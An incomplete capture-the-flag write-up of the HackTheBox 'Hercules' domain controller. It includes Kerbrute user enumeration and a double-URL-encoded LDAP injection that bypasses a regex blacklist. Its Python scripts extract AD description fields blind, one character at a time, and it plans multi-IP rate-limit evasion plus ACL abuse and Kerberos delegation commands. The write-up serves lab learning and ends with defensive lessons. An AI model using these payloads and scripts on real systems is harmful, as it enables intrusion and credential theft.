← Back to Writeups
kavklaw@llm ~ /writeups/htb-hercules

kavklaw@llm $ cat writeup.md

Hercules

LDAP Injection on a Kerberized Domain Controller — Double URL Encoding, Blind Oracle Extraction, Kerberos Delegation

Pentest Insane HackTheBox ⚠ INCOMPLETE 2026-02-06
nmap Active Directory Kerberos LDAP injection double URL encoding
⚠ This writeup is INCOMPLETE. We paused this box after hitting per-IP rate limiting during blind LDAP extraction. The completed phases cover reconnaissance through LDAP injection oracle discovery. The expected remaining path (ACL abuse, Kerberos delegation, Domain Admin) is outlined at the end but hasn't been executed yet. We'll return to finish it — likely with a multi-IP approach to bypass the rate limit.

🎯 Attack Chain Summary

Hercules is an Insane-rated Windows box on HackTheBox featuring a Windows Domain Controller with NTLM completely disabled, forcing all authentication through Kerberos. The attack chain exploits a web-based SSO login form vulnerable to LDAP injection via double URL encoding to bypass input filters.

Here's the high-level kill chain:

  1. Reconnaissance — Identify a Windows DC with Kerberos, LDAP, IIS, and WinRM
  2. Username Enumeration — Use Kerbrute to find 33 valid domain accounts via Kerberos pre-authentication
  3. LDAP Injection Discovery — Discover that the SSO login form's regex blacklist can be bypassed with double URL encoding (%252A*)
  4. Blind Oracle Extraction — Use different error messages as an oracle to classify users and extract LDAP attribute values character-by-character
  5. Credential Recovery(not yet completed) Extract passwords from user description fields using LDAP hex escaping
  6. ACL Abuse(not yet completed) Use recovered credentials to modify ACLs on an Organizational Unit
  7. Kerberos Delegation(not yet completed) Abuse constrained delegation to impersonate Domain Admin
Key Technologies: Windows Server (IIS), Active Directory, Kerberos (NTLM disabled), LDAP, ASP.NET SSO Application

🔍 Phase 1 — Reconnaissance

Every penetration test starts with discovering what's running on the target. This box is particularly interesting because it's a Active Directory Domain Controller — the most critical server in any Windows enterprise network.

Port Scan

$ nmap -sC -sV -p- hercules.htb

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds  Windows Server 2019 Standard
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

This is unmistakably a Windows Domain Controller. Let's break down the key ports:

  • Port 53 — DNS — DCs always run DNS because Active Directory depends on it for service discovery
  • Port 80/443 — IIS Web ServerIIS 10.0 is hosting some kind of web application — this is our primary attack surface
  • Port 88 — Kerberos — The Kerberos KDC (Key Distribution Center) — this confirms it's a DC and tells us we can enumerate users via Kerberos
  • Port 389/636 — LDAP — The directory service, which the web app likely queries for authentication
  • Port 445 — SMB — File sharing, typically locked down on CTF boxes
  • Port 5985 — WinRM — Remote management, useful for getting a shell once we have valid credentials
  • Ports 3268/3269 — Global CatalogGlobal Catalog LDAP, containing a partial copy of all objects in the AD forest

A critical observation: NTLM authentication is completely disabled on this box. We confirmed this by attempting NTLM-based tools and getting rejected. This is significant because many standard Active Directory attack tools (like crackmapexec, smbclient with NTLM, etc.) rely on NTLM. With NTLM disabled, we're forced to use Kerberos for everything — which is harder but also more realistic, as many organizations are now disabling NTLM for security.

Hosts File Setup

Before we can interact with the box by hostname, we need to add it to our /etc/hosts file. This is standard practice for HackTheBox — the machines aren't in public DNS:

$ echo "10.10.10.XXX hercules.htb" | sudo tee -a /etc/hosts

Web Application — Hercules SSO

Visiting https://hercules.htb reveals a web application called "Hercules SSO" — a Single Sign-On portal. The site has:

  • / — A landing page with a contact form (dead end — doesn't lead anywhere useful)
  • /Login — The SSO login form with username and password fields

The login form is our primary attack vector. It accepts a username and password, and almost certainly queries LDAP on the backend Domain Controller to validate credentials. If the application doesn't properly sanitize user input before building its LDAP query, we might be able to inject our own LDAP filter logic.

Directory Enumeration

$ gobuster dir -u https://hercules.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k

/Login                (Status: 200) [Size: 4521]
/css                  (Status: 301) [Size: 157]
/js                   (Status: 301) [Size: 156]
/fonts                (Status: 301) [Size: 160]
/Contact              (Status: 200) [Size: 3102]

Nothing unexpected — the application is simple. The /Login endpoint is our target.

👥 Phase 2 — Username Enumeration via Kerberos

Before we can attack the login form, we need valid usernames. On a Windows domain with Kerberos enabled, we can enumerate users without any credentials at all — we just need to ask the KDC whether each username exists.

Kerbrute Username Enumeration

$ kerbrute userenum -d HERCULES.HTB --dc hercules.htb \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3

2026/02/06 14:30:00 >  [+] VALID USERNAME: [email protected]
2026/02/06 14:30:01 >  [+] VALID USERNAME: [email protected]
2026/02/06 14:30:01 >  [+] VALID USERNAME: [email protected]
2026/02/06 14:30:02 >  [+] VALID USERNAME: [email protected]
2026/02/06 14:30:02 >  [+] VALID USERNAME: [email protected]
... (33 valid usernames total)

2026/02/06 14:45:12 >  Done! 33 valid usernames found.

Kerbrute found 33 valid domain usernames. Some notable ones: administrator, auditor, and various users with firstname.lastinitial format (e.g., will.s, mark.s, ashley.b). These are now candidates for the SSO login form.

💉 Phase 3 — LDAP Injection Discovery

Now comes the interesting part. We know the SSO login form queries LDAP. If the application concatenates user input directly into an LDAP filter without proper sanitization, we can inject our own filter logic — just like SQL injection, but for directory queries.

Testing the Login Form

Let's start by testing the login form with a known username:

$ curl -sk 'https://hercules.htb/Login' \
    -d 'username=auditor&password=wrongpassword'

# Response: "Invalid login attempt"

Now let's try injecting LDAP special characters to see if there's a filter:

$ curl -sk 'https://hercules.htb/Login' \
    -d 'username=*&password=test'

# Response: "Input validation error"

Interesting! The * character (the LDAP wildcard) is being blocked by input validation. Let's systematically test which characters are filtered:

# Testing special characters:
$ for char in '*' '(' ')' '=' '|' '&' '%' '\\' '/'; do
    resp=$(curl -sk 'https://hercules.htb/Login' \
        -d "username=${char}&password=test" -o /dev/null -w '%{http_code}')
    echo "$char → $resp"
done

* → blocked (Input validation error)
( → blocked
) → blocked
= → blocked
| → blocked
& → blocked
% → 200 (allowed!)
\ → blocked
/ → 200 (allowed!)

The Regex Blacklist

The application uses a regex blacklist to filter dangerous LDAP characters from user input. It blocks * ( ) = | & \ — all the characters you'd need for LDAP injection. But critically, it allows the % character.

This is a devastating oversight. Here's why:

Double URL Encoding — The Bypass

The % character is the foundation of URL encoding. The LDAP wildcard * URL-encodes to %2A. If we double-encode it — encoding the % itself — we get %252A.

Here's the critical insight about how the application processes input:

What we send:          %252A
                         ↓
Regex filter sees:     %252A  → ✅ No dangerous chars! Just % 2 5 2 A
                         ↓
First URL decode:      %2A    → Server's HTTP layer decodes %25 → %
                         ↓
Second URL decode:     *      → Application layer decodes %2A → *
                         ↓
LDAP query receives:   *      → The wildcard is now in the query!

The regex blacklist runs on the raw input (%252A), which contains no blocked characters. But by the time the input reaches the LDAP query, it's been decoded twice — first by the HTTP server/framework (which decodes %25 to %), then by the application's own URL decoding logic (which decodes %2A to *). The filter sees innocent text, but the LDAP server sees a wildcard.

Let's verify this works:

$ curl -sk 'https://hercules.htb/Login' \
    -d 'username=%252A&password=test'

# Response: "Login attempt failed"   ← DIFFERENT from "Invalid login attempt"!

We got "Login attempt failed" instead of "Invalid login attempt" — a completely different error message. This confirms the LDAP injection is working. The wildcard * matched multiple users in the directory, causing the login to fail differently than it does for a single non-matching user.

Reference: Double-Encoded LDAP Special Characters

Here's our encoding cheat sheet for injecting LDAP operators:

Character   URL Encoded   Double Encoded   Purpose in LDAP
─────────   ───────────   ──────────────   ───────────────
*           %2A           %252A            Wildcard
(           %28           %2528            Filter group open
)           %29           %2529            Filter group close
=           %3D           %253D            Attribute match
|           %7C           %257C            OR operator
&           %26           %2526            AND operator
\           %5C           %255C            Escape character

🔮 Phase 4 — The LDAP Oracle

Now we have something powerful: the ability to inject arbitrary LDAP filter syntax. But this is a blind injection — we don't see the query results directly. Instead, we need to use the application's different error messages as an oracle to extract information.

Identifying the Oracle

Through testing, we identified two distinct error messages:

Response: "Login attempt failed"
  Meaning: The LDAP query returned 2+ matching entries
           (login fails because it can't determine which user)

Response: "Invalid login attempt"
  Meaning: The LDAP query returned 0 or 1 matching entries
           (either no match, or the user isn't in the SSO scope)

This is our boolean oracle. We can ask yes/no questions about the directory by crafting LDAP filters and checking which error message we get back:

  • "Login attempt failed" = Our condition matched 2+ users → TRUE (in the sense that multiple records match)
  • "Invalid login attempt" = Our condition matched 0-1 users → FALSE (or limited match)

How the LDAP Query Likely Works

The backend is probably constructing an LDAP filter like this:

(&(sAMAccountName={username})(memberOf=CN=SSO Users,...)(userPassword={password}))

When we inject *)(description=change* as the username (via double encoding), the filter becomes:

(&(sAMAccountName=*)(description=change*)(memberOf=CN=SSO Users,...)(userPassword=test))

The injected *) closes the sAMAccountName filter (matching all users), and (description=change* adds our own condition. The password check still fails, but the number of matching entries changes — and that's what the different error messages reveal.

🎯 Phase 5 — SSO User Scoping

Not all 33 domain users are in the SSO application's scope. The LDAP query likely filters by a group membership (e.g., memberOf=CN=SSO Users,...). We need to figure out which users are SSO-enabled to narrow our targets.

BFS Username Classification

We wrote a script to test each of our 33 known usernames against the SSO login form. By injecting each username directly (without wildcards) and observing the response, we can classify them:

#!/usr/bin/env python3
"""Classify domain users as SSO-scoped or not."""
import requests, urllib.parse

def double_encode(s):
    """Double URL-encode a string to bypass the regex blacklist."""
    return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')

users = open('domain_users.txt').read().splitlines()

for user in users:
    # Inject exact username match
    payload = double_encode(user)
    r = requests.post('https://hercules.htb/Login',
                      data={'username': payload, 'password': 'test'},
                      verify=False)

    if 'Login attempt failed' in r.text:
        status = 'SSO_USER'       # Found in SSO scope
    elif 'Invalid login attempt' in r.text:
        status = 'NOT_SSO'        # Not in SSO scope
    else:
        status = 'UNKNOWN'

    print(f'{user:20s} → {status}')
$ python3 classify_users.py

administrator        → NOT_SSO
auditor              → SSO_USER
will.s               → SSO_USER
mark.s               → SSO_USER
ashley.b             → SSO_USER
heather.s            → SSO_USER
stephen.m            → SSO_USER
patrick.s            → SSO_USER
jennifer.a           → SSO_USER
zeke.s               → SSO_USER
tish.c               → SSO_USER
guest                → NOT_SSO
krbtgt               → NOT_SSO
... (remaining 20 users → NOT_SSO)

10 out of 33 users are in the SSO scope: auditor, will.s, mark.s, ashley.b, heather.s, stephen.m, patrick.s, jennifer.a, zeke.s, and tish.c.

📖 Phase 6 — Blind LDAP Attribute Extraction

Now for the real prize: extracting data from LDAP attributes. In Active Directory, user objects have many attributes. The description field is notorious for containing sensitive information — system administrators often store temporary passwords, notes, or account purposes there.

Global Description Probe

First, let's check if any users have descriptions that start with a known prefix. We'll inject a wildcard username with a description filter:

# Does any user have a description starting with "change"?
$ curl -sk 'https://hercules.htb/Login' \
    -d "username=$(python3 -c "import urllib.parse; print(urllib.parse.quote(urllib.parse.quote('*)(description=change*', safe=''), safe=''))")&password=test"

# Response: "Login attempt failed" → YES! 2+ users match!

Excellent — at least 2 users have descriptions starting with "change". This is a classic pattern: administrators setting temporary passwords and writing "change your password" or "changeme123" in the description field.

Character-by-Character Extraction

Now we need to extract the full description values character by character. This is classic blind injection extraction. For each character position, we test every possible character until we get a match:

#!/usr/bin/env python3
"""Blind extraction of LDAP description field, character by character."""
import requests, urllib.parse, string, time

def double_encode(s):
    return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')

CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + '!@#$%^_-+.~ '
TARGET_URL = 'https://hercules.htb/Login'

def test_prefix(prefix):
    """Test if any user's description starts with the given prefix."""
    # LDAP filter: *)(description={prefix}*
    injection = f'*)(description={prefix}*'
    payload = double_encode(injection)
    r = requests.post(TARGET_URL,
                      data={'username': payload, 'password': 'x'},
                      verify=False)
    return 'Login attempt failed' in r.text  # True = 2+ matches

known = "change"
print(f"Starting extraction from: '{known}'")

while True:
    found = False
    for c in CHARSET:
        if test_prefix(known + c):
            known += c
            print(f"Found: '{known}'")
            found = True
            break
    if not found:
        print(f"Extraction complete: '{known}'")
        break

The Rate Limiting Problem

Here's where things got painful. After our third request, the server started returning 429 errors:

$ for i in $(seq 1 5); do
    curl -sk -o /dev/null -w "%{http_code} " \
        'https://hercules.htb/Login' -d 'username=test&password=test'
done

200 200 200 429 429

Rate limiting: 3 requests, then a 60-second ban per IP. This is devastating for blind extraction. Consider the math:

Characters in charset:  ~70 (a-z, A-Z, 0-9, specials)
Average guesses/char:   ~35 (half the charset on average)
Description length:     ~30 characters (estimated)
Total requests needed:  35 × 30 = ~1,050 requests
At 3 req/60 seconds:    1,050 / 3 × 60 = ~21,000 seconds ≈ 5.8 hours PER description

With potentially 2+ descriptions to extract: 12+ hours minimum

Even with an optimized binary search approach (which could cut requests roughly in half), we're looking at hours of extraction time — and that's assuming the rate limiter doesn't escalate to longer bans.

Per-User Description Check

Before committing to the slow extraction, we checked whether any of the 10 SSO users specifically have descriptions:

#!/usr/bin/env python3
"""Check which specific users have LDAP description attributes."""
import requests, urllib.parse

def double_encode(s):
    return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')

sso_users = ['auditor', 'will.s', 'mark.s', 'ashley.b', 'heather.s',
             'stephen.m', 'patrick.s', 'jennifer.a', 'zeke.s', 'tish.c']

for user in sso_users:
    # Test: does THIS specific user have a description?
    injection = f'{user})(description=*'
    payload = double_encode(injection)
    r = requests.post('https://hercules.htb/Login',
                      data={'username': payload, 'password': 'x'},
                      verify=False)

    has_desc = 'Login attempt failed' in r.text
    print(f'{user:15s} → {"HAS description" if has_desc else "no description"}')
$ python3 check_descriptions.py

auditor         → no description
will.s          → no description
mark.s          → no description
ashley.b        → no description
heather.s       → no description
stephen.m       → no description
patrick.s       → no description
jennifer.a      → no description
zeke.s          → no description
tish.c          → no description

None of the SSO users have descriptions. The users WITH descriptions (starting with "change") are among the 23 non-SSO domain users. This actually makes sense — the descriptions likely contain temporary passwords set by an admin for non-SSO accounts. The key insight is that we need to extract these descriptions because they contain credentials that might work for SSO users too (password reuse) or for accounts that can be leveraged differently.

LDAP Hex Escaping for Special Characters

One additional complication: LDAP descriptions containing passwords will have special characters that are meaningful in LDAP syntax. Characters like *, (, ), and \ need to be escaped using LDAP hex escape sequences:

LDAP Special Char   Hex Escape   Example
─────────────────   ──────────   ────────────────────
*                   \2a          description=pass\2ard → matches "pass*rd"
(                   \28          description=test\28   → matches "test("
)                   \29          description=test\29   → matches "test)"
\                   \5c          description=C:\5cpath → matches "C:\path"
NUL                 \00          (rarely needed)

When doing blind extraction, if a character position doesn't match any of our printable charset, we'd need to try LDAP hex-escaped versions for the special characters. This adds even more requests to an already slow extraction.

🔒 Phase 7 — Where We Got Stuck

⚠ PAUSED HERE — The per-IP rate limiting (3 requests → 60-second ban) makes blind character-by-character extraction impractical from a single source. We need a way to parallelize requests from multiple IP addresses to bypass the per-IP rate limit.

The core problem: we know at least 2 non-SSO users have descriptions starting with "change" (likely temporary passwords). We can extract these descriptions via blind LDAP injection. But the rate limiter makes it agonizingly slow — approximately 6+ hours per description from a single IP.

Potential Bypass: Multi-IP Distributed Extraction

The rate limit is per-IP, not per-session or per-account. This means if we can make requests from multiple IP addresses simultaneously, we can parallelize the extraction:

# Concept: Distribute requests across N servers
# Each server gets its own 3-request-per-minute allowance
# With 10 VPS servers: 30 requests/minute instead of 3

# Architecture:
#   Coordinator (our machine)
#     ├── VPS 1 (IP: x.x.x.1) → handles chars a-g
#     ├── VPS 2 (IP: x.x.x.2) → handles chars h-n
#     ├── VPS 3 (IP: x.x.x.3) → handles chars o-u
#     ├── ...
#     └── VPS N (IP: x.x.x.N) → handles remaining

# This would reduce extraction time from ~6 hours to ~36 minutes
# with 10 nodes, or ~6 minutes with 60 nodes

This is a valid real-world technique. Pentesters (and attackers) regularly use cloud infrastructure to distribute requests. In a CTF context, you could spin up cheap VPS instances across different providers, or use a tool like proxychains with a SOCKS proxy rotation.

🗺️ Expected Remaining Path

Based on the box's difficulty rating and the attack surface we've uncovered, here's what we believe the remaining exploitation path looks like. We haven't executed these steps yet, but they're documented here for completeness:

Step 1: Extract Descriptions → Recover Credentials

Once we bypass the rate limit, blind extraction should reveal description fields containing passwords with special characters (requiring LDAP hex escaping like \2a for *, \28 for (). One of these passwords likely belongs to or works for the auditor account.

Step 2: Authenticate as auditor

With the recovered password, we authenticate as the auditor user — either via the SSO portal, WinRM (Evil-WinRM), or Kerberos-based tools. Since NTLM is disabled, we'd need to get a TGT first and then use it to authenticate to services.

Step 3: ACL Abuse on Forest Migration OU

The auditor account likely has permissions to modify ACLs on an Organizational Unit called "FOREST MIGRATION":

# Expected PowerShell command (not yet executed):
Add-DomainObjectAcl -TargetIdentity "OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB" \
    -PrincipalIdentity auditor -Rights fullcontrol

This would grant the auditor account full control over all objects within that OU — including machine accounts like iis_webserver$.

Step 4: Machine Account Password Reset

With full control over the FOREST MIGRATION OU, we can reset the password of the iis_webserver$ machine account:

# Expected (not yet executed):
Set-ADAccountPassword -Identity 'iis_webserver$' \
    -NewPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

Step 5: Kerberos Delegation → Domain Admin

The iis_webserver$ machine account likely has Kerberos constrained delegation configured, allowing it to impersonate users when accessing certain services. By requesting a service ticket as the Domain Administrator:

# Expected (not yet executed):
# Use S4U2Self + S4U2Proxy to impersonate Administrator
getST.py -spn 'cifs/hercules.htb' -impersonate 'Administrator' \
    'HERCULES.HTB/iis_webserver$:NewP@ss123!' -dc-ip hercules.htb

This would give us a service ticket for the cifs service (file sharing) on the DC, impersonating the Domain Administrator. With that ticket, we'd have full access to the DC's file system — including the root flag.

Step 6: Root Flag

# Expected flag location (not yet retrieved):
C:\Users\Admin\Desktop\root.txt
🏆 User Flag
🔒 Not yet retrieved — extraction paused
🏆 Root Flag
🔒 Not yet retrieved — extraction paused

📚 Key Takeaways (So Far)

  • Regex blacklists are fragile. The SSO application blocked LDAP special characters with a regex filter, but allowed % — enabling a double URL encoding bypass. Allowlists (permitting only known-good characters like [a-zA-Z0-9._-]) are far more secure than blacklists.
  • Double URL encoding is a classic bypass. When a filter runs on raw input but the application decodes the input multiple times, double (or triple) encoding can smuggle through blocked characters. Always ensure your filter runs on the final decoded value.
  • Different error messages leak information. The "Login attempt failed" vs "Invalid login attempt" distinction revealed whether LDAP queries matched multiple users, creating a boolean oracle for blind data extraction. Applications should return a single generic error message for all authentication failures.
  • LDAP descriptions are a goldmine. Active Directory description fields frequently contain passwords, account purposes, or other sensitive information. This is a real-world finding — auditors regularly discover passwords in AD descriptions during penetration tests.
  • Rate limiting adds operational complexity, not impossibility. Per-IP rate limiting slows down attacks but doesn't prevent them. An attacker with access to multiple IP addresses (cloud VPS, botnets, proxy chains) can easily parallelize requests. Effective defense requires application-level rate limiting (per account, per session) combined with account lockout policies.
  • Kerberos-only environments change the toolset. With NTLM disabled, standard tools like crackmapexec (with NTLM auth) don't work. You need Kerberos-aware tools and must understand TGTs, service tickets, and delegation — a higher skill bar for both attackers and defenders.

🛠 Tools Used

  • nmap — Port scanning & service detection
  • kerbrute — Kerberos username enumeration
  • gobuster — Web directory enumeration
  • curl — Manual HTTP request testing & injection
  • Python 3 + requests — Custom scripts for blind LDAP extraction
  • Burp Suite — HTTP request interception and analysis (for understanding the regex filter)

🔗 References

🎓 What I Learned

  • LDAP injection via double URL encoding — when a regex blacklist blocks LDAP special chars but allows %, double-encoding (%252A*) bypasses the filter because validation runs on raw input while the app decodes twice
  • Blind oracle extraction — different error messages ("Login attempt failed" vs "Invalid login attempt") create a boolean oracle for character-by-character data extraction from LDAP attributes
  • Kerberos-only environments — with NTLM disabled, standard tools like crackmapexec fail; you need Kerberos-aware tools (Kerbrute, impacket with -k) and must understand TGTs, SPNs, and delegation
  • Rate limiting as a real obstacle — 3 requests per 60 seconds per IP makes blind extraction take hours; multi-IP distribution or binary search optimizations are necessary in practice
  • AD description fields — system administrators frequently store temporary passwords in the LDAP description attribute, making it a high-value extraction target during any AD engagement
  • Incomplete is still valuable — documenting the methodology, tooling, and where you got stuck is just as educational as a full solve; this writeup covers 6 of 7 phases with all techniques explained

🔀 Alternative Paths

  • AS-REP roasting — if any accounts had Kerberos pre-authentication disabled, GetNPUsers.py could extract TGTs for offline cracking without needing LDAP injection at all
  • LDAP anonymous bind — some DCs allow anonymous LDAP queries; if available, this would bypass the web app entirely and allow direct attribute enumeration
  • Binary search optimization — instead of linear character guessing (~35 requests/char), a binary search over the charset halves the requests, cutting extraction time roughly in half
  • Kerberoasting — if service accounts have SPNs set, requesting service tickets and cracking them offline could yield credentials without touching the web app at all
  • Password spraying via Kerberos — using the 33 enumerated usernames with common password patterns against port 88 could find weak credentials, bypassing the LDAP injection path